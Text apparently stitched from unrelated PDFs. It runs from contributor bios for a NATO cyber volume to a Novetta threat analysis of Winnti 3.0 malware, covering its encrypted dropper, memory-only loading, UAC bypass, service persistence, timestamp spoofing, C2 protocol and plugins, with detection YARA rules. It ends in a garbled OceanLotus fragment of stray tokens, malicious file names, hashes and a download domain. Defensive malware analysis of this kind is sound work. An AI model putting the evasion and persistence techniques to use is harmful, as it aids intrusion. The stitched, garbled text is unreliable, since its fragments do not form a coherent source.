Limn ll served many years as an officer in the Finnish Defense Forces, and has worked as a Director of Cybersecurity at McAfee. His most recent book is Cybersecurity for Decision Makers. Tim Maurer is the Director of the Global Cybersecurity Norms and Resilience Project, and Head of Research at New America s Cybersecurity Initiative. He is part of New America s Future of War project and serves as a member of the Research Advisory Network of the Global Commission on Internet Governance, the Freedom Online Coalition s cybersecurity working group An Internet Free and Secure , and was co-chair of the Advisory Board for the Global Conference on Cyberspace. He holds a Master in Public Policy concentrating on international and global affairs from the Harvard Kennedy School. Glib Pakharenko (CISA, CISSP) is an IT security specialist, board member for the OWASP and ISACA Kyiv chapters, forum moderator, and the conference organizer for the largest information security community of Ukraine, the Ukrainian Information Security Group. Glib has over 10 years of IT security experience in financial, telecom, media, and other industries. He actively supports the reform and modernization of Ukrainian national cyber security policies, and reviews technical and IT security translations into the Ukrainian language. Liisa Past is a NATO CCD COE adviser and spokesperson, with academic interests in political communication, argumentation, and discourse analysis. Educated at Columbia University, the University of Oslo, and Tartu University, Liisa has taught at numerous institutions of higher education, and worked with companies, organizations, and a political party on strategic communication and public relations. As an activist, she has contributed to human rights causes and has worked with the International Debate Education Association, Estonian Debating Society, and Baltimore Urban Debate League. Henry R igas is a researcher in the Law and Policy Branch at NATO CCD COE, studying policy matters such as state interest in global cyber diplomacy, international norm development, the role of international organisations, and the cyber security posture of small states. He is the Project Manager of the Ukraine case study book and the Centre s INCYDER (International Cyber Developments Review) database. Henry holds a Master s degree in International Relations from the University of Tartu. Jan Stinissen is a military lawyer in the Netherlands Army with the rank of Lieutenant Colonel. He served as a military lawyer for more than 20 years in different positions in The Netherlands and in Germany. He was deployed as a Legal Advisor with NATO missions abroad. Most recently, Lt Col Stinissen worked as a Researcher with the Law and Policy Branch at the NATO CCD COE in Tallinn, Estonia. He holds a Master in Law degree from the University of Utrecht, The Netherlands. Sanda Svetoka is a Senior Expert at the NATO Strategic Communications Centre of Excellence (NATO StratCom COE) in Riga, Latvia, where she is the project leader for StratCom s study on how social media are used as a weapon in hybrid warfare. From 2004-2005, she worked as a news reporter at the Latvian information agency LETA. In 2005, she joined the Latvian Ministry of Defence, where she coordinated Latvian cooperation with NATO partner countries. In 2010-2011, Ms Svetoka was Public Relations Advisor to the NATO Advisory Team in Kosovo. From 2011-2014, she served as a Press Officer at the Military Public Relations Department of the Latvian Ministry of Defence. Ms Svetoka holds an MA in Political Science from the University of Latvia. Jen Weedon is a strategic threat intelligence analyst and cyber risk management consultant at FireEye. Jen played a key role in building out Mandiant s intelligence team and contributed to Mandiant s landmark APT1 report, linking a long-running cyber espionage effort to a Chinese military unit. She worked on the cyber espionage and hacktivist portfolios at iSIGHT Partners. Prior to that, Jen analyzed and briefed policymakers on Russia s intents and motivations in cyberspace for the U.S. defense community. She is a graduate of the Fletcher School of Law and Diplomacy (2008) and Smith College (2002), was awarded a Fulbright Fellowship in Ukraine (2002-2003), and is an inaugural fellow for Foreign Policy Interrupted (2015). Professor James J. Wirtz is Dean, School of International Graduate Studies at the U.S. Naval Postgraduate School in Monterey, California. He is editor of the Palgrave Macmillan series, Initiatives in Strategic Studies: Issues and Policies, and a past president of the International Security and Arms Control Section of the American Political Science Association. In 2005, he was a Visiting Professor at the Center for International Security and Cooperation, Stanford University. Between 2009 and 2014 he served as the Director of the Global Center for Security Cooperation, Defense Security Cooperation Agency. His work on intelligence, deterrence, the Vietnam War, and military innovation and strategy has been widely published in academic journals. Professor Wirtz is a graduate of Columbia University (MPhil 1987, PhD 1989), the University of Delaware (MA 1983, BA 1980), and was a John M. Olin Pre-Doctoral Fellow at the Center for International Affairs, Harvard University. WINNTI ANALYSIS As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.1 What is of note, however, is the increased scrutiny found within the Winnti dropper component that attempts to frustrate analysis of the malware. Based on multiple active compromises by the Axiom threat group, Novetta was able to capture and analyze new Winnti malware samples. It should be noted that operators of Winnti that were observed by Novetta leveraged existing Axiom-specific malware infections (Hikit) to move laterally and install Winnti in the furtherance of their objectives. It is with high confidence that we assess the operators of Winnti in these monitored environments were not the same actors who originally installed and leveraged Hikit. This report will focus on three different aspects of the Winnti malware: the start-up sequence of Winnti from the initial infection to steady state, the basics of the Winnti malware, and the command and control (C2) communication protocol. FROM INSTALLATION TO EXECUTION The installation process of Winnti by means of the dropper has changed very little since the Winnti version 1.1 (as defined by Kaspersky) droppers of July 2012. The samples Novetta obtained from the active Axiom infection were compiled in mid- to late 2014 and represent what Novetta is referring to as version 3.0 of the Winnti lineage (in order to prevent muddying the versioning scheme Kaspersky has already established). There are four distinct components within the Winnti malware s installation to execution cycle: a dropper, a service, an engine, and a worker. The installation that Novetta observed of Winnti on a victim s machine requires multiple steps and depends on the dropper, service, and the loader component in order to accomplish the steps. After a successful infection, the activation of Winnti on a victim s machine requires multiple steps as well as coordination between the service, engine, and worker components. The complexity of the installation and activation processes is significant and more involved than typical malware installation and activation procedures. This additional complexity ultimately does not seem to serve a significant purpose other than to perhaps frustrate analysis by defenders. Kaspersky. Winnti: More than just a game . http://kasperskycontenthub.com/wp- content/uploads/sites/43/vlpdfs/winnti-more-than-just-agame-130410.pdf. 10 April 2014. INSTALLATION PHASE 1: DROPPER ACTIVITIES The dropper is, as the name implies, the component responsible for dropping the Winnti malware on a victim s machine. The dropper performs the following activities (with version- specific annotation): [version 3.0] The dropper verifies the existence of a single parameter on the command line and terminates if the parameter is not found. The dropper later uses this parameter as a decryption key. The dropper loads CreateProcessA via a call to GetProcAddress. The dropper extracts an embedded data blob, decrypts the data blob, and decompresses the data blob into a heap buffer. The data blob in step 3 begins with a header structure that describes key attributes of the data blob. The format of the header is as follows: OFFSET SIZE DESCRIPTION Magic bytes Tunnel\0\0 Unknown Size of the blob after decompression Size of the blob prior to decompression (current size in memory) In order to decrypt the data blob, the dropper will iterate over each of the bytes that follows the header (up to the value specified in 0xE offset of the header), XOR the bytes by 0x36, and then perform a nibble swap, ZLib-compressed data immediately follows the header. The dropper will allocate a heap buffer (with a size specified by the value in offset 0xA of the header) and call the ZLib inflate function. The decompressed data blob contains a second header, and the blob s header consists of the following two entries: OFFSET SIZE DESCRIPTION Offset of worker component s image (generally 0 and unused) Offset of server component s image 4. T he dropper uses the value in offset 0x4 of the decompressed data blob s header to determine the size of the worker component s size and writes that many bytes of the decompressed data blob, starting after the header, to a file within %TEMP%. The file has a random name, but the extension is always .tmp. 5. [ version 3.0] The remaining bytes within the decompressed data blob are decrypted using what appears to be DES encryption and the key the attacker provided via the first argument on the command line. The dropper generates another randomly named file within %TEMP% with the file extension of .tmp with the remaining bytes within the decompressed data blob. This file becomes the service component. WINNTI ANALYSIS The decryption of the service component is a new feature within the version 3.0 lineage of Winnti and provides the benefit of preventing defenders from attempting to run the dropper for analysis purposes. [version 3.0] The presence of the MZ magic bytes in the first two bytes of the service component are verified to ensure that the file was properly decrypted (and by extension, to verify that the supplied password was correct). If the MZ bytes are not found, the dropper quietly terminates. [version 3.0] The filenames and paths of the service and worker components are appended to the end of the worker component s file in a structure 520 byte array. The irst 260 bytes contain the filename and path of the worker component, and the last 260 bytes contain the filename and path of the service component. The entire 520 byte array is encrypted by XOR ing each byte with 0x99. The service component s file is scanned for the tag Coopre. If this tag is located, the dropper decrypts the configuration data blob attached to the end of the dropper s executable and appends the data to memory immediately followed the Coopre magic byte. The dropper will then append the filenames and paths of the service and worker components to the end of the worker component s file in a structure 520 byte array. The first 260 bytes contain the filename and path of the worker component, and the last 260 bytes contain the filename and path of the service component. The entire 520 byte array is encrypted by XOR ing each byte with 0x99. 10. The dropper instructs the service component to complete the installation by using rundll32 to activate the service component s Install [pre-version 3.0] or DlgProc [version 3.0] function. The service component is self-installing when an attacker (or the dropper) activates the Install or DlgProc export functions. Install or DlgProc requires the full name and path of the dropper component. The service component can locate the worker component based on the appended filename and path strings located at the end of itself. Once the dropper calls CreateProcessA to activate rundll32, the dropper s task is complete, and it quietly terminates. At this point, it is up to the service component to continue to install and, eventually, to activate the Winnti malware. INSTALLATION PHASE 2: SERVICE ACTIVITIES The service component is at its core an unsophisticated scaffold whose job is to activate the engine component. The distinction between pre-version 3.0 Winnti variants and version 3.0 variants is most evident in the versions service components. As a result of the larger difference in procedure between the pre-version 3.0 and version 3.0 variants, the discussion on the Installation Phase 2 sequence will focus on only the version 3.0 service component. The service component has only two functions: activate the installer functionality of the engine component or respond as a service DLL and activate the engine component s malware start-up routines. Both modes of the service component have a common initialization sequence: DllMain, upon activation, manually loads the engine binary into memory. The exports from the engine component (Install, DeleteF, and Workman) are loaded into a memory structure. WINNTI ANALYSIS The engine component exists as a data blob within the service component. The executable image of the engine component contains a stripped-down PE/COFF header that is missing several key attributes, such as the MZ and PE magic bytes as well as the CPU architecture identifier. These missing pieces require the service component to manually load the engine component s executable image into memory. This includes allocating the appropriate memory, loading the sections appropriately, applying location fix-ups, and loading the necessary imports. The advantage of going to this much effort from an attacker s perspective is that the engine, which is responsible for loading the worker, never touches the disk, thus depriving analysts of a necessary component for analysis when using file-based artifact collection techniques. The service component determines if the host binary responsible for the service component is either svchost.exe (if run as a service) or rundll32.dll (if loaded pseudo manually or from the dropper). If neither host executable is found, the Install function of the engine is activated. Otherwise, the DllMain function returns with a success status. Within the DlgProc function, the service will verify the non-NULL status of the DeleteF function pointer. If the function pointer is non-NULL, the DeleteF function (of the engine) is called. The DlgProc function next verifies that the Install function pointer is non-NULL and, if the pointer is indeed non-NULL, calls the engine s Install function after supplying the path of the service executable. Once the service component passes control to the engine component s Install function, the service component becomes little more than a placeholder. The service component will remain active only so long as the Install function is active. The engine component then becomes the active component and will conclude the installation process. INSTALLATION PHASE 3: ENGINE ACTIVITIES The engine component exists only in memory and is completely dependent on the service component remaining active in order to have a process space in which to operate. The installation functionality for the version 3.0 Winnti malware variants exists within the Install export. When activated, the Install export requires a full filename and path back to the service binary. The Install function checks if the process responsible for calling the Install function is explorer.exe. If so, the function uses a variant of the sysprep User Account Control (UAC) bypass.2 The current privilege level of the process is verified to be suitable for installing additional binaries. The test consists of determining if the operating system is newer than Windows XP and if the process has administrative privileges. If these conditions are met, the dropper is called again from explorer.exe. The authors went to great pains to ensure that the installation process had a suitable chance of performing its function both undetected (by using a UAC bypass) and with suitable privileges. The use of the sysprep UAC bypass and the verification of process privileges indicate that the authors were at least aware of the changing security environment in later versions of Windows and were adapting to ensure the successful propagation of their tools on a victim s machine. K. Kleissner. UAC Bypass for Windows 7 RTM, SP1/ Windows 8 DP, CP all 32-bit for admin with default UAC settings . http://download.pureftpd. org/pub/misc/UAC.cpp. Accessed 1 December 2014 WINNTI ANALYSIS The configuration information implanted at the end of the service component is extracted and decrypted. The configuration information for the infection typically exists at the very end of the service configuration. The last DWORD of the file contains an offset from the end of the file to the beginning of the configuration. The structure of the configuration is as follows: struct ScheduleEntry __int16 wDayOfWeek; __int16 wStartTime; __int16 wEndTime; struct Config char szC2[100]; char szCampaignID1[32]; char szCampaignID2[32]; char szCampaignIDNumber[24]; DWORD unknown0; DWORD unknown1; DWORD unknown2; DWORD dwCommMode; DWORD dwProxyType; char szProxyServer[32]; char szProxyUser[32]; char szProxyPassword[32]; ScheduleEntry arrActivePeriods[7]; DWORD iReconnectTime; The configuration is encrypted using a rolling XOR with the first byte of the XOR being 0x99. The XOR increments one byte at a time until a wraparound occurs at 0xFF. The files %SYSDIR%\wmtsk.dll and %SYSDIR%\wmm2.dat are checked to ensure that they do not exist and that they are not directories. If either condition is not met, an INI file named %SYSDIR%\ otfkyt.dat is generated with the UPDATE section containing File={path to service component DLL} and the process terminates. A global event named Global\ 5164FDA21542C0EB638BA110F9F3ADAF establishes a poor man mutex, indicating that the installation process is currently ongoing. To give other processes time to read the event check, a 12-second delay is introduced before continuing the installation process. The service component is copied from the %TEMP% directory to %SYSDIR%\wmtsk.dll, and the worker component is copied from the %TEMP% directory to %SYSDIR%\wmm2.dat. The timestamps of both wmtsk.dll and wmm2.dat are set to match that of cmd.exe. The original %TEMP% instances of the worker and service DLLs are deleted. WINNTI ANALYSIS The configuration is appended to the wmtsk.dll file using the same rolling XOR (starting with the value 0x99). The bulk of the installation of Winnti is now complete. The dropped files are now in the correct location and ready for activation. The final steps of the installation establish the persistence model for the malware and begin the activation of the malware on the victim s system. 10. A new service entry is manually added to the registry to ensure the malware will activate upon reboot of the victim s machine. The new service is named wind0ws, with a display name of automaticallyssl and the description of Monitoring of hardwares and automatically updates the device drivers. 11. WinExec is used to call the command net start wind0ws. 12. The installation completes by returning control to the service component, which terminates quietly. The service that the engine component installs runs under the svchost.exe executable as a netsvc. The engine will directly modify the registry after using the CreateServiceA function to establish the basics of the new service. The use of direct registry modifications to entries under the LOCAL MACHINE (HKLM) hive requires elevated privileges, which may explain why the authors went to such great pains to ensure the installation process occurred in a suitable process space. ACTIVATION PHASE 1: SERVICE ACTIVITIES Activation of the Winnti malware begins whenever the service component is activated. Typically, activation is the result of the registered service (e.g., wind0ws) being activated by either a reboot of the victim s machine or by the net start command being issued during the final phase of the installation process. In either case, the DllMain function is called prior to the ServiceMainEx function of the service component being called by Windows, thus kicking off the activation of the Winnti version 3.0 malware. The DllMain function, upon activation, manually loads the engine binary into memory. The exports from the engine component (Install, DeleteF, and Workman) are loaded into a memory structure. The service component determines if the host binary responsible for the service component is either svchost.exe (if run as a service) or rundll32.dll (if loaded pseudo-manually or from the dropper). If neither host executable is found, the Install function of the engine is activated. Otherwise, the DllMain function returns with a success status. With the initialization of the service component s DLL complete, Windows calls the ServiceMainEx function to activate the service. The ServiceMainEx function, like the DlgProc function, is extremely lightweight in its functionality. The ServiceMainEx function registers a service handler function to respond to service status control requests from Windows. The service is set to the Running state. WINNTI ANALYSIS 7. An unnamed event is created. The engine s Workmain function is called with both the path to the host executable (the service DLL) and the name of the service supplied as parameters. A sleep of 3 seconds occurs before the function waits indefinitely for the unnamed event to become set. The ServiceMainEx function does little more than establish a basic scaffold for activating the Workmain function of the engine component. The service remains active, thus providing a process space for the engine, until the unnamed event is set. The unnamed event becomes set only after the service receives the SERVICE_STOP signal from Windows. After the service component calls the Workmain function of the engine component, the engine component picks up the baton to complete the next phase of the activation sequence. ACTIVATION PHASE 2: ENGINE ACTIVITIES The engine component s Workmain function, much like the service s ServiceMainEx function, provides a scaffolding for the next phase of the activation. In this case, that next phase is dependent on the worker component. The Workmain function determines if an active activation thread exists within the process. If so, the Workmain function simply returns to avoid activating two or more concurrent instances of Winnti under the same process space. The configuration is extracted from the service component based on the filename and path supplied to the Workmain function from the ServiceMainEx function. If the configuration extraction fails, the filename and path of the service DLL is gleaned from the ServiceDLL registry value for the service, and the configuration is extracted from that file. The path to the worker component (e.g., %SYSDIR%\wmm2.dat) is extracted from the service component s file. A new thread responsible for the activation of the worker and engine components is generated. 5. The Workmain function returns. Workmain is a very simple function with a singular purpose: collect the data needed to locate the necessary components for activating Winnti on the victim s system. With the necessary information found, a new thread is generated that allows the service component to decouple from the worker component s functionality. Had this not occurred, the service component would not be able to respond to Windows status requests, and the service would have appeared to be hung, causing Windows to terminate the service. The activation thread generated within the Workmain function loads the worker component, activates the worker component, and provides a thread independent of the service s thread under which to execute. The path to the worker component s file is verified to exist. If the worker component s file does not exist, the activation process terminates immediately. WINNTI ANALYSIS The worker component is loaded into memory. The worker component s work_start function is called. The worker component s executable image is encrypted. As part of the loading process, the engine must XOR each byte of the worker component s file with the value 0x36 and perform a nibble swap. The worker component s executable image suffers from the same malformed PE/COFF header that the engine component s image exhibits. As a result of the malformed PE/COFF header and the encrypted file image, the engine must manually load the worker component s image into memory in exactly the same manner that the service component loaded the engine component manually into memory. The work_start function is the true beginning of the Winnti malware. The work_start function performs the various Remote Administration Tool (RAT) initialization functions of Winnti before activating the communication subsystem of Winnti. The result of calling the work_start function is the completed activation of Winnti and placing the system in a steady-state mode of C2 server requests and response actions. Once the work_start function initializes the Winnti malware, a new thread is generated to house the Winnti RAT functionality, allowing the work_start function to return control back to the activation thread within the engine component. Upon completion of the work_start function, the activation thread sleeps for 30 seconds before entering an infinite loop. 10. The loop begins by verifying that the global event established during the installation process (Phase 3, step 5) does not exist. If the event exists, the loop is broken, the event is set, the Winnti malware shuts down by means of a net stop command, and the service and worker component files are deleted. 11. The presence of the %SYSDIR%\otfkty.dat file is checked, and if the file does not exist, control returns to the top of the loop (step 10). 12. The %SYSDIR%\otfkty.dat file is read as an INI file, the filename specified by the File variable under the UPDATE section is read, and the otfkty.dat file is deleted from disk if the file specified by the File variable exists and is not a directory. 13. If the worker has a work_end export, the work_end function is called. 14. The configuration of %SYSDIR%\wmtsk.dll is loaded into memory. 15. If %SYSDIR%\sysprep\cryptbase.dll exists, the file is deleted. 16. The worker component s file is deleted from disk. 17. The file specified by otfkty.dat s File variable is copied to the filename of the worker component s file. 18. The timestamp of the new worker component file is set to that of cmd.exe s timestamp. 19. The file specified by otfkty.dat s File variable is deleted.is deleted. 20. After sleeping for 3 seconds, the new worker component s image is loaded into memory, and the new worker component s work_start function is executed. 21. Control returns to the start of the loop (step 10). WINNTI ANALYSIS The authors of version 3.0 of Winnti use the engine s scaffolding to allow for on-the-fly worker component updating without a need to restart the service. The infinite loop listens for the indicator that the engine s Install function is performing an installation (with an existing Winnti installation, this effectively becomes an update). As part of the installation process by the engine component s Install function, the presence of an existing service and worker component s files is verified (Installation Phase 3, step 4), resulting in the generation of the %SYSDIR%\otfkty.dat file. The presence of the otfkty.dat file informs the engine s activation thread that a new worker component is available and should be loaded. As a result, the engine cleanly shuts down the existing worker component by calling its work_end function, deletes the old worker, and replaces the worker component s file before loading and executing the new worker component. The beauty of this approach is that not only does it allow hot patching of the malware but it does so without restarting the service, which could indicate an erroneous system event to an astute systems administrator. THE BASICS OF WINNTI S WORKER The Winnti worker component is an exercise in over engineering. As with the other components within the Winnti system, such as the service and the engine, the worker component is a scaffold for additional functionality. Unlike the service and engine components, the scaffolding provided by the worker component is substantial and complex, but at its core, the worker component has two primary functions: communication interface and plugin management. The communication subsystem of the worker module supports three communication protocols, but the framework is developed in such a way that adding additional protocols requires little more than adding a different communication mode module to the source code at compile time. The communication subsystem in the samples analyzed by Novetta includes three modes: custom TCP protocol (used when Config.dwCommMode is set to 1), encapsulation within HTTP (used when Config. dwCommMode is set to 3), and encapsulation within HTTPS (used when Config.dwCommMode is set to 2). To further expand the reach of the HTTP and HTTPS modes, the HTTP and HTTPS modes can utilize a proxy local (or potentially external) to the victim s computer. In order to support a variety of different communication protocols and methods, the communication subsystem relies heavily on callback functions. For instance, when a communication module (be it the custom TCP protocol, HTTP, HTTPS, or some other type) initializes, it supplies a series of callback functions to the communication subsystem. The callback functions provide hooks to the communication subsystem for handing off important communication events. Figure 1 illustrates the worker component using the Connection:SetConnectivityCallbacks function to register callback functions that handle the following series of events. 1. When a new connection occurs (ncOnConnect_callback) 2. When data is received over the network connection (ncOnRecvData_callback) 3. When the connection terminates by the socket closing (ncOnDisconnect_callback) When the other end of the connection disconnects, but has not closed, the connection (ncOnClientDisconnect_callback) Figure 1: Setting Callbacks for the Custom TCP Protocol Communication Mode WINNTI ANALYSIS By using callbacks, it is relatively easy for the authors of the Winnti malware to add new communication protocols without making significant changes to the source code. There is, however, the question as to why the authors chose to use a callback scheme for this purpose instead of a more modern object-oriented approach, such as using derived classes in C++. The callbacks within the communication subsystem cloud an important aspect of the nature of the communication within Winnti: the communication subsystem is largely asynchronous. The communication subsystem allocates a thread solely for listening to incoming data, determining to which channel the data belongs, queuing the data in a series of network queue structures, and alerting the communication subsystem that the ncOnRecvData_callback (or equivalent) callback should be called to address the incoming data. This allows the sending of data from the communication subsystem to decouple the receiving of data from the communication subsystem thereby providing asynchronous data streams. The fact that the data streams are decoupled does introduce some complexity, as it is up to the higher layers of the data stream to reassemble the data in the appropriate form for whatever task to which the data applies. Evidence suggests, however, that despite the fact that sending and receiving data is asynchronous within the communication subsystem, in practice the data follows a standard request-and-reply model in which the Winnti malware makes a request over the network and then waits for a reply before repeating the sequence. By itself, the worker component does very little. It does not have any built-in RAT functionality such as file management, remote command shell interaction, network monitoring, or other features common to malware that falls within the RAT category. Similar to the way that PoisonIvy provides only a framework and requires at-runtime modules to perform RAT functions, Winnti must load a plugin for each desired RAT (or class of RAT) feature. These modules, which internally the authors refer to as Plus modules, are basic plugins that the worker component is responsible for maintaining. It would be a poor design for the malware to request a download of code for each RAT function that an attacker wishes to use. The amount of extraneous data would be excessive and would make the malware s traffic more prone to detection, as plugins are usually a minimum of several tens of kilobytes each. The authors of Winnti compensate for this by caching plugin modules in memory and possibly on disk. Whenever a new module is loaded into the victim s machine by virtue of a download from the C2 server, the plugin is stored, loaded into memory, and registered with the plugin subsystem, which allows the communication subsystem to pass requests to the plugins from that point on. Optionally, as part of the integration of the plugin into the Winnti malware, the attacker can request that a copy of the plugin be stored within the %PROGRAMFILE%\Microsoft Shared\MSInfo\ en-US\ directory, which will allow the worker component to load the plugin automatically whenever the Winnti malware restarts; however, storing a plugin is not mandatory. It is entirely possible that the attacker may specify that the plugin should exist in memory only as long as the malware is active. This prevents disk based forensics from detecting the plugins and limits the availability of data for analysis to determine what code may have executed on a victim s machine. Plugins are architecture dependent, but the authors of Winnti make no special effort to ensure that only 64-bit plugins run on 64-bit variants of Winnti or that only 32-bit plugins run on 32-bit variants. Plugins are DLLs with their PE/COFF headers manipulated (like the engine and worker components) to make them unloadable by standard Windows Application Programming Interface (API) functions, therefore requiring that the plugin manager manually load the plugins. A plugin information header precedes the modified PE/COFF header. The plugin information header (PluginEntry) , as seen below, contains information defining attributes about the plugin, such as its architecture (64 or 32bit), the size of the plugin s image, the entry point function, the version of the plugin, and, most importantly, the identification number of the plugin. WINNTI ANALYSIS struct PluginEntry DWORD dwPluginID; DWORD Version; DWORD ArchitectureType; DWORD unknown; DWORD dwPluginSize; DWORD dwEntryFunctionNameHash; DWORD fLoaded; void *pPluginImage; int (__stdcall *pfnEntryPoint) (void *incomingData, int (__cdecl **pfnNetDataSend)(PacketHeader *)); The identification number of the plugin (dwPluginID) is the value that allows the communication subsystem to direct incoming requests to the appropriate plugin. The plugin manager itself supports only the following three commands from the communication subsystem: COMMAND ID DESCRIPTION 0x12 Unknown purpose 0x14 Send a list of plugins currently registered to the C2 0x15 Add a new plugin to the active Winnti malware with an option to save the plugin to disk If a command coming from the communication subsystem does not match one of the plugin manager s commands, the RemoteLib:CallPlusList function is called to redirect the data packet to the appropriate plugin or return an error to the C2 server. COMMUNICATION SCHEME Regardless of the communication model currently active for a Winnti instance, the underlying communication remains constant. Each datagram that originates from or is destined for the C2 server has the following predefined header structure: struct PacketHeader DWORD dwTickCount; WORD cmd; DWORD unknown; DWORD dwPayloadSize; DWORD dwStreamID; The format of the data that follows the PacketHeader is cmd dependent. The cmd field allows the communication subsystem to route the request to the appropriate plugin by using the plugin manager to match the cmd value with the dwPluginId value. The worker component allows a maximum datagram size of 261120 bytes. To accommodate data streams larger than the maximum datagram size, the stream can be chunked. WINNTI ANALYSIS The dwStreamID value is used to reassemble the streams by appending datagrams with the same dwStreamID together. The dwPayloadSize field defines the number of bytes within the datagram. The protocol that the worker component uses to transmit the PacketHeader and the optional payload of the datagrams can and will add additional complexity to the network traffic. The custom TCP protocol and the HTTP and HTTPS communication modes each deliver the datagrams differently. The HTTP and HTTPS communication modes will generate POST requests to the C2 server (typically to / index.htm) with the datagram (compressed using Zlib) as the body of the POST. The custom TCP protocol uses a combination of encryption and compression to transfer the datagrams. The custom TCP protocol uses a stacked approach to transforming the data. First, the datagram, which makes up the payload of the custom TCP protocol, is typically compressed with LZMA. The compressed payload is appended to the following header specific to the custom TCP protocol: struct TCPProtocolHeader DWORD magic; DWORD flags; DWORD dwXORKey; QWORD crc64; DWORD dwCompressedSize; DWORD dwPacketSize; The magic value is 0xACED1984. The flags value will specify if the datagram is compressed or not. The dwXORKey value is initialized to zero. The crc64 value for the datagram (prior to compression) is stored in crc64. The size of the compressed payload is recorded in dwCompressedSize while the original size of the datagram is stored in dwPacketSize. The final transformation prior to transmission for the custom TCP protocol involves encrypting the entire packet. A 32-bit value is generated (by calling GetTickCount) and used as the DWORD XOR key. Each DWORD within the packet is then XOR d with the key. Given that the dwXORKey field of the TCPProtocolHeader was initialized to zero and exists on a DWORD boundary, the XOR key is recorded within the dwXORKey field. A successful decryption is determined by XOR ing the magic and dwXORKey fields to produce the 0xACED1984 value. CODE REUSE The authors of Winnti are clearly proponents of the open-source software movement, as large chunks of the worker binary consist of open-source software packages. The authors statically linked in the OpenSSL library (version 0.9.8x),3 the LZMA compression library,4 the nedalloc memory allocation library,5 and the Zlib library (version 1.2.7).6 As for the part of the code that generates the unique identifier for the victim s computer, the authors of the worker component lifted the code DISKID32,7 which is an open-source utility for reading the manufacturer data from a hard drive. The DISKID32 package is a surprisingly obscure piece of software from a company in Texas that writes an industrial process simulator that has over 1,000 active users. ftp://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8x.tar.gz. 10 May 2012. http://sourceforge.net/projects/sevenzip/files/LZMA%20SDK/lzma922.tar.bz2/download. 18 April 2010. 5 Niall Douglas. nedalloc Homepage . http://www.nedprod.com/programs/portable/nedmalloc/. 5 December 2014. Jean-loup Gailly and Mark Adler. zlib . http://zlib.net/. 26 March 2014. WinSim, Inc. DISKID32 (FREEWARE) . https://www.winsim.com/diskid32/diskid32.html. Accessed 1 December 2014. WinSim, Inc. About WinSim . https://www.winsim.com/index.html. Accessed 1 December 2014. WINNTI ANALYSIS The basis for the worker component is a library called RemoteLib. Some earlier variants of version 3.0 of Winnti contain debugging output that references the RemoteLib library. RemoteLib does not appear to be a publically available piece of software but does appear to be actively maintained, as evident by the gradual refinements seen between the 32-bit and 64-bit variants of version 3.0 of Winnti. The compilation of the full OpenSSL library into the worker component solely for implementing HTTPS results in a significant size increase. Approximately 60 percent of the worker component is made up of OpenSSL functions when only a small fraction (less than 1 percent) of the OpenSSL library is actually used by the worker component. DETECTION Detecting Winnti via standard IDS signatures or network traffic inspection is not a straightforward process whenever the malware is configured to use HTTPS or the custom TCP protocol due to the use of encryption. However, more advanced network based behavioral analytic capabilities as well as host-based indicators do exist that can alert a security team or systems administrator to the presence of Winnti. The version 3.0 variants of Winnti attempt to install themselves as a service with the following characteristics: SERVICE NAME WIND0WS SERVICE DISPLAY NAME automaticallyssl SERVICE DESCRIPTION Monitoring of hardwares and automatically updates the device drivers From a file system perspective, it is possible to identify Winnti infections by looking for the following filenames: %SYSDIR%\otfkty.dat %SYSDIR%\wmtsk.dll %SYSDIR%\wmm2.dat Given that Winnti will alter the time stamp of files to match that of the victim s cmd.exe file, looking for files with the exact same time as the victim s cmd.exe may identify other foreign files on the victim system that warrant inspection and possible isolation. Novetta established the following YARA signatures for detecting the various components of version 3.0 of the Winnti malware; administrators are advised to use these signatures to help detect and remediate active version 3.0 Winnti infections. WINNTI ANALYSIS rule Winnti_Dropper meta: copyright = Novetta Solutions author = Novetta Advanced Research Group strings: $runner = %s\\rundll32.exe \ , DlgProc %s $inflate = Copyright 1995-2005 Mark Adler condition: $runner and $inflate rule Winnti_service meta: copyright = Novetta Solutions author = Novetta Advanced Research Group strings: $newmem = new memory failed! $value = can not find value %d\n $onevalue = find one value %d\n $nofile = Can not open the file (error %d) condition: 3 of ($newmem, $value, $onevalue, $nofile) rule Winnti_engine { meta: copyright = Novetta Solutions author = Novetta Advanced Research Group strings: $api1 = SHCreateItemFromParsingName $datfile = otfkty.dat $workstart = work_start $workend = work_end condition: ($api1 or $datfile) and ($workstart and $workend) rule Winnti_worker meta: copyright = Novetta Solutions author = Novetta Advanced Research Group strings: $pango = pango-basic-win32.dll $tango = tango.dll $dat = %s\\%d%d.dat $cryptobase = %s\\sysprep\\cryptbase.dll condition: $pango and $tango and $dat and $cryptobase WINNTI ANALYSIS 2012 OceanLotus OceanLotus 100 29 36 92.3% C&C Command and Control 35 IP 19 13 2014 OceanLotus 2014 2014 2015 OceanLotus OceanLotus 2014 OceanLotus 2014 11 OceanLotus OceanLotus OceanLotus OceanLotus OceanLotus 2012 OceanLotus OceanLotus 2012 100 29 36 C&C Command and Control 35 IP 19 OceanLotus 2012 OceanLotus OceanLotus 2014 OceanLotus OceanLotus 14 2014 OceanLotus 14 2014 OceanLotus 2014 OceanLotus 2014 OceanLotus 2014 11 OceanLotus 2015 19 OceanLotus OceanLotus 2015 OceanLotus OceanLotus 2014 OceanLotus OceanLotus 92.3% 22.7% 15.5% OceanLotus OceanLotus 2014 OceanLotus 2014 11 OceanLotus OceanLotus OceanLotus OceanLotus OceanLotus Spear Phishing Water Holing OceanLotus 58.6% 41.4% OceanLotus 2014 2015 2014 2014 OceanLotus OceanLotus OceanLotus 2014 OceanLotus OceanLotus Microsoft Word .exe APT 2014 22 28 .jpg.exe 2014 2015 700 OceanLotus 2014 .exe 2014 11 .exe OceanLotus OceanLotus .exe .exe .jpg.exe .exe 2014 .exe 2015 12 .exe .exe 2015 .exe Windows .exe OceanLotus 1/5 OceanLotus Web Web OceanLotus OceanLotus 3-5 OceanLotus OceanLotus OceanLotus Flash Flash JS Flash Windows install_flashplayer.exe Mac OS Safari MAC OS install_flashplayer_mac.zip OceanLotus OceanLotus 522 50 .rar OceanLotus download.mail-attach.net 50 .rar JPG exe MD5 install_flashplayer.exe 7e68371ba3a988ff88e0fb54e2507f0d rtx.exe 0529b1d393f405bc2b2b33709dd57153 sinopec.exe 9fea62c042a8eda1d3f5ae54bad1e959 .exe 486bb089b22998ec2560afa59008eafa USBDeview.exe b778d0de33b66ffdaaf76ba01e7c5b7b DSC00229.exe 53e5718adf6f5feb2e3bb3396a229ba8 install_flashplayer13x37.exe d39edc7922054a0f14a5b000a28e3329 